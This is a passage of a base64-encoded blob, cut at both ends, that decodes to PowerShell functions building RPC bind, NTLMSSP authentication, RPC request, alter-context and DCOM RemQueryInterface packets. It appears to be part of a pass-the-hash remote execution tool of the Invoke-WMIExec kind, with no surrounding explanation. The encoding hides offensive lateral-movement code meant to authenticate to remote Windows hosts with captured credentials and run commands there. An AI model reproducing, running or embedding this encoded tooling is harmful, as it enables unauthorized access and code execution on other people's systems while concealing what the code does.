lJQQ0JpbmRfSW50ZXJmYWNlVmVyMiIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgyIixbQnl0ZVtdXSgweDJjLDB4MWMsMHhiNywweDZjLDB4MTIsMHg5OCwweDQwLDB4NDUsMHgwMywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjIiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgIH0NCiAgICBlbHNlaWYoJHBhY2tldF9udW1fY3R4X2l0ZW1zWzBdIC1lcSAzKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQyIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMyIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMyIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMiIsW0J5dGVbXV0oMHg0MywweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyMiIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgyIixbQnl0ZVtdXSgweDMzLDB4MDUsMHg3MSwweDcxLDB4YmEsMHhiZSwweDM3LDB4NDksMHg4MywweDE5LDB4YjUsMHhkYiwweGVmLDB4OWMsMHhjYywweDM2KSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjIiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NvbnRleHRJRDMiLFtCeXRlW11dKDB4MDIsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtVHJhbnNJdGVtczMiLFtCeXRlW11dKDB4MDEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd240IixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2UzIixbQnl0ZVtdXSgweDQzLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2KSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXIzIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlck1pbm9yMyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheDMiLFtCeXRlW11dKDB4MmMsMHgxYywweGI3LDB4NmMsMHgxMiwweDk4LDB4NDAsMHg0NSwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4VmVyMyIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhMZXZlbCIsW0J5dGVbXV0oMHgwNCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFBhZExlbmd0aCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQ0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JZGVudGlmaWVyIixbQnl0ZVtdXSgweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OZWdvdGlhdGVGbGFncyIsW0J5dGVbXV0oMHg5NywweDgyLDB4MDgsMHhlMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbGluZ1dvcmtzdGF0aW9uRG9tYWluIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfT1NWZXJzaW9uIixbQnl0ZVtdXSgweDA2LDB4MDEsMHhiMSwweDFkLDB4MDAsMHgwMCwweDAwLDB4MGYpKQ0KICAgIH0NCg0KICAgIGlmKCRwYWNrZXRfY2FsbF9JRCAtZXEgMykNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhMZXZlbCIsW0J5dGVbXV0oMHgwMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFBhZExlbmd0aCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JZGVudGlmaWVyIixbQnl0ZVtdXSgweDRlLDB4NTQsMHg0YywweDRkLDB4NTMsMHg1MywweDUwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OZWdvdGlhdGVGbGFncyIsW0J5dGVbXV0oMHg5NywweDgyLDB4MDgsMHhlMikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbGluZ1dvcmtzdGF0aW9uRG9tYWluIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfT1NWZXJzaW9uIixbQnl0ZVtdXSgweDA2LDB4MDEsMHhiMSwweDFkLDB4MDAsMHgwMCwweDAwLDB4MGYpKQ0KICAgIH0NCg0KICAgIHJldHVybiAkcGFja2V0X1JQQ0JpbmQNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ0FVVEgzKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfTlRMTVNTUCkNCg0KICAgIFtCeXRlW11dJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9OVExNU1NQLkxlbmd0aCkNCiAgICAkcGFja2V0X05UTE1TU1BfbGVuZ3RoID0gJHBhY2tldF9OVExNU1NQX2xlbmd0aFswLDFdDQogICAgW0J5dGVbXV0kcGFja2V0X1JQQ19sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTVNTUC5MZW5ndGggKyAyOCkNCiAgICAkcGFja2V0X1JQQ19sZW5ndGggPSAkcGFja2V0X1JQQ19sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9SUENBdXRoMyA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDEwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19EYXRhUmVwcmVzZW50YXRpb24iLFtCeXRlW11dKDB4MTAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19GcmFnTGVuZ3RoIiwkcGFja2V0X1JQQ19sZW5ndGgpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX0F1dGhMZW5ndGgiLCRwYWNrZXRfTlRMTVNTUF9sZW5ndGgpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX0NhbGxJRCIsW0J5dGVbXV0oMHgwMywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENBdXRoMy5BZGQoIlJQQ0FVVEgzX01heFhtaXRGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19NYXhSZWN2RnJhZyIsW0J5dGVbXV0oMHhkMCwweDE2KSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDIpKQ0KICAgICRwYWNrZXRfUlBDQXV0aDMuQWRkKCJSUENBVVRIM19BdXRoUGFkTGVuZ3RoIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQXV0aFJlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfQ29udGV4dElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0F1dGgzLkFkZCgiUlBDQVVUSDNfTlRMTVNTUCIsJHBhY2tldF9OVExNU1NQKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDQXV0aDMNCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ1JlcXVlc3QoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9mbGFncyxbSW50XSRwYWNrZXRfc2VydmljZV9sZW5ndGgsW0ludF0kcGFja2V0X2F1dGhfbGVuZ3RoLFtJbnRdJHBhY2tldF9hdXRoX3BhZGRpbmcsW0J5dGVbXV0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfSUQsW0J5dGVbXV0kcGFja2V0X29wbnVtLFtCeXRlW11dJHBhY2tldF9kYXRhKQ0KDQogICAgaWYoJHBhY2tldF9hdXRoX2xlbmd0aCAtZ3QgMCkNCiAgICB7DQogICAgICAgICRwYWNrZXRfZnVsbF9hdXRoX2xlbmd0aCA9ICRwYWNrZXRfYXV0aF9sZW5ndGggKyAkcGFja2V0X2F1dGhfcGFkZGluZyArIDgNCiAgICB9DQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2VfbGVuZ3RoICsgMjQgKyAkcGFja2V0X2Z1bGxfYXV0aF9sZW5ndGggKyAkcGFja2V0X2RhdGEuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9mcmFnX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfYWxsb2NfaGludCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCArICRwYWNrZXRfZGF0YS5MZW5ndGgpDQogICAgW0J5dGVbXV0kcGFja2V0X2F1dGhfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X2F1dGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfYXV0aF9sZW5ndGggPSAkcGFja2V0X2F1dGhfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfUlBDUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9WZXJzaW9uIixbQnl0ZVtdXSgweDA1KSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1BhY2tldEZsYWdzIiwkcGFja2V0X2ZsYWdzKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfRGF0YVJlcHJlc2VudGF0aW9uIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0ZyYWdMZW5ndGgiLCRwYWNrZXRfZnJhZ19sZW5ndGgpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9BdXRoTGVuZ3RoIiwkcGFja2V0X2F1dGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfQ2FsbElEIiwkcGFja2V0X2NhbGxfSUQpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9BbGxvY0hpbnQiLCRwYWNrZXRfYWxsb2NfaGludCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0NvbnRleHRJRCIsJHBhY2tldF9jb250ZXh0X0lEKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfT3BudW0iLCRwYWNrZXRfb3BudW0pDQoNCiAgICBpZigkcGFja2V0X2RhdGEuTGVuZ3RoKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9EYXRhIiwkcGFja2V0X2RhdGEpDQogICAgfQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0UlBDQWx0ZXJDb250ZXh0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfYXNzb2NfZ3JvdXAsW0J5dGVbXV0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfSUQsW0J5dGVbXV0kcGFja2V0X2ludGVyZmFjZV9VVUlEKQ0KDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfUGFja2V0VHlwZSIsW0J5dGVbXV0oMHgwZSkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0RhdGFSZXByZXNlbnRhdGlvbiIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfRnJhZ0xlbmd0aCIsW0J5dGVbXV0oMHg0OCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9BdXRoTGVuZ3RoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0NhbGxJRCIsJHBhY2tldF9jYWxsX0lEKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X01heFhtaXRGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X01heFJlY3ZGcmFnIixbQnl0ZVtdXSgweGQwLDB4MTYpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0Fzc29jR3JvdXAiLCRwYWNrZXRfYXNzb2NfZ3JvdXApDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfTnVtQ3R4SXRlbXMiLFtCeXRlW11dKDB4MDEpKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9Db250ZXh0SUQiLCRwYWNrZXRfY29udGV4dF9JRCkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9OdW1UcmFuc0l0ZW1zIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9Vbmtub3duMiIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfSW50ZXJmYWNlIiwkcGFja2V0X2ludGVyZmFjZV9VVUlEKQ0KICAgICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0LkFkZCgiUlBDQWx0ZXJDb250ZXh0X0ludGVyZmFjZVZlciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9JbnRlcmZhY2VWZXJNaW5vciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0FsdGVyQ29udGV4dC5BZGQoIlJQQ0FsdGVyQ29udGV4dF9UcmFuc2ZlclN5bnRheCIsW0J5dGVbXV0oMHgwNCwweDVkLDB4ODgsMHg4YSwweGViLDB4MWMsMHhjOSwweDExLDB4OWYsMHhlOCwweDA4LDB4MDAsMHgyYiwweDEwLDB4NDgsMHg2MCkpDQogICAgJHBhY2tldF9SUENBbHRlckNvbnRleHQuQWRkKCJSUENBbHRlckNvbnRleHRfVHJhbnNmZXJTeW50YXhWZXIiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfUlBDQWx0ZXJDb250ZXh0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIoKQ0Kew0KICAgIHBhcmFtKFtJbnRdJHBhY2tldF9hdXRoX3BhZGRpbmcsW0J5dGVbXV0kcGFja2V0X2F1dGhfbGV2ZWwsW0J5dGVbXV0kcGFja2V0X3NlcXVlbmNlX251bWJlcikNCg0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCg0KICAgIGlmKCRwYWNrZXRfYXV0aF9wYWRkaW5nIC1lcSA0KQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aFBhZGRpbmciLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICBbQnl0ZVtdXSRwYWNrZXRfYXV0aF9wYWRfbGVuZ3RoID0gMHgwNA0KICAgIH0NCiAgICBlbHNlaWYoJHBhY2tldF9hdXRoX3BhZGRpbmcgLWVxIDgpDQogICAgew0KICAgICAgICAkcGFja2V0X05UTE1TU1BWZXJpZmllci5BZGQoIk5UTE1TU1BWZXJpZmllcl9BdXRoUGFkZGluZyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgW0J5dGVbXV0kcGFja2V0X2F1dGhfcGFkX2xlbmd0aCA9IDB4MDgNCiAgICB9DQogICAgZWxzZWlmKCRwYWNrZXRfYXV0aF9wYWRkaW5nIC1lcSAxMikNCiAgICB7DQogICAgICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhQYWRkaW5nIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgIFtCeXRlW11dJHBhY2tldF9hdXRoX3BhZF9sZW5ndGggPSAweDBjDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9hdXRoX3BhZF9sZW5ndGggPSAweDAwDQogICAgfQ0KDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhMZXZlbCIsJHBhY2tldF9hdXRoX2xldmVsKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhQYWRMZW4iLCRwYWNrZXRfYXV0aF9wYWRfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyLkFkZCgiTlRMTVNTUFZlcmlmaWVyX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfQXV0aENvbnRleHRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyVmVyc2lvbk51bWJlciIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyQ2hlY2tzdW0iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9OVExNU1NQVmVyaWZpZXIuQWRkKCJOVExNU1NQVmVyaWZpZXJfTlRMTVNTUFZlcmlmaWVyU2VxdWVuY2VOdW1iZXIiLCRwYWNrZXRfc2VxdWVuY2VfbnVtYmVyKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfTlRMTVNTUFZlcmlmaWVyDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXREQ09NUmVtUXVlcnlJbnRlcmZhY2UoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jYXVzYWxpdHlfSUQsW0J5dGVbXV0kcGFja2V0X0lQSUQsW0J5dGVbXV0kcGFja2V0X0lJRCkNCg0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X0RDT01SZW1RdWVyeUludGVyZmFjZS5BZGQoIkRDT01SZW1RdWVyeUludGVyZmFjZV9WZXJzaW9uTWFqb3IiLFtCeXRlW11dKDB4MDUsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtUXVlcnlJbnRlcmZhY2UuQWRkKCJEQ09NUmVtUXVlcnlJbnRlcmZhY2VfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDA3LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbVF1ZXJ5SW50ZXJmYWNlLkFkZCgiRENPTVJlbVF1ZXJ5SW50ZXJmYWNlX0ZsYWdzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1RdWVyeUludGVyZmFjZS5BZGQoIkRDT01SZW1RdWVyeUludGVyZmFjZV9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICA